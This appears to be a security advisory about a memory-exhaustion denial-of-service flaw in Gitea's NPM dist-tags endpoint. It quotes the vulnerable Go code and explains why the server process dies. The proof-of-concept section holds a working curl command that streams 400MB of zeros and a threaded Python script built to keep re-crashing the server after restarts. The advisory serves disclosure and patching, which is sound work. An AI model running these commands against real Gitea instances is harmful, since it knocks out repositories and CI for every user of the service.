Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint

Summary

An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.

Details

The `AddPackageTag` function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:

// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

    body, err := io.ReadAll(ctx.Req.Body)  // NO SIZE LIMIT
    if err != nil {
        apiError(ctx, http.StatusInternalServerError, err)
        return
    }
    version := strings.Trim(string(body), "\"")
    // ...
}

This route is registered at `routers/api/packages/api.go:433`: ``go r.Group("/-/package/{id}/dist-tags", func() { // ... r.Group("/{tag}", func() { r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite) r.Delete("", npm.DeletePackageTag) }) }) ``

Why this causes OOM and not just a slow request:

In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.

No server-side size limits apply to this endpoint:

Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in `modules/setting/packages.go`, but these are only enforced during UploadPackage, not in AddPackageTag. The `mustBytes()` function defaults all limits to -1 (unlimited) when not explicitly configured: ``go // modules/setting/packages.go:96-101 func mustBytes(section ConfigSection, key string) int64 { const noLimit = "-1" value := section.Key(key).MustString(noLimit) // defaults to "-1" if value == noLimit { return -1 } ``

Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().

The Gitea HTTP server has no global request body size limit. The `HashedBuffer` used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:

// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024  // 32MB, which is safe and spills to disk

// but npm.go:336 bypasses this entirely:
body, err := io.ReadAll(ctx.Req.Body)  // reads everything into RAM, no limit

Access requirements:

- The route requires reqPackageAccess(perm.AccessModeWrite) - Any user has write access to their own package namespace (`services/context/package.go:155-157`): ``go if doer.ID == pkgOwner.ID { accessMode = perm.AccessModeOwner } ``

- No NPM package needs to exist. The OOM occurs at line 336 before the package lookup at line 343: ``go body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here // ... pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reached ``

PoC

Tested Environment: - Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)

Prerequisites: Set up test environment

# docker-compose.yml
version: "3"
services:
  gitea:
    image: gitea/gitea:latest
    container_name: gitea-dos-test
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__service__DISABLE_REGISTRATION=false
    ports:
      - "3000:3000"
    deploy:
      resources:
        limits:
          memory: 512M

docker compose up -d
# Complete initial setup in browser at http://localhost:3000
# Register a user account (e.g., user1 / Password123!)

Step 1: Single request OOM crash

# Send ~80% of container memory to the AddPackageTag endpoint.
# The body is read entirely into memory via io.ReadAll().
# For 512MB container: count=400 (~400MB) is enough.
# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
# The package owner in the URL must match the authenticated user's username.
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
  -X PUT \
  -H "Content-Type: application/json" \
  --data-binary @- \
  "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
  --max-time 120

Step 2: Verify server crash

# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected: connection refused (server is dead)

Step 3: Persistent DoS via concurrent requests (survives restart policies)

# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools

payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
i = itertools.count(1)

def worker():
    s = requests.Session()
    while True:
        n = next(i)
        try:
            s.put(
                f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
                data=payload,
                auth=("user1", "A@12345678"),
                timeout=120
            )
        except Exception:
            pass

for _ in range(20):
    threading.Thread(target=worker, daemon=True).start()

__import__('signal').pause()

One 400MB upload triggers

OOM kill

https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6

Crash loop after

OOM with Docker restart policy

https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7

Observed result on Gitea 1.26.2: - Server logs: Received signal 15; terminating. - Container status: Exited (0) - Server remains down until manual restart - With restart: always, server restarts but can be immediately re-killed

Impact

Who is impacted: - All Gitea instances with the package registry enabled (enabled by default) - Any authenticated user can crash the server (No admin privileges required) - With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server - All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services

Attack characteristics: - Single request is sufficient to crash the server - No special payload: raw zeros work (no compression tricks needed) - Persistent multiple requests can re-kill the server even after auto-restart - Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)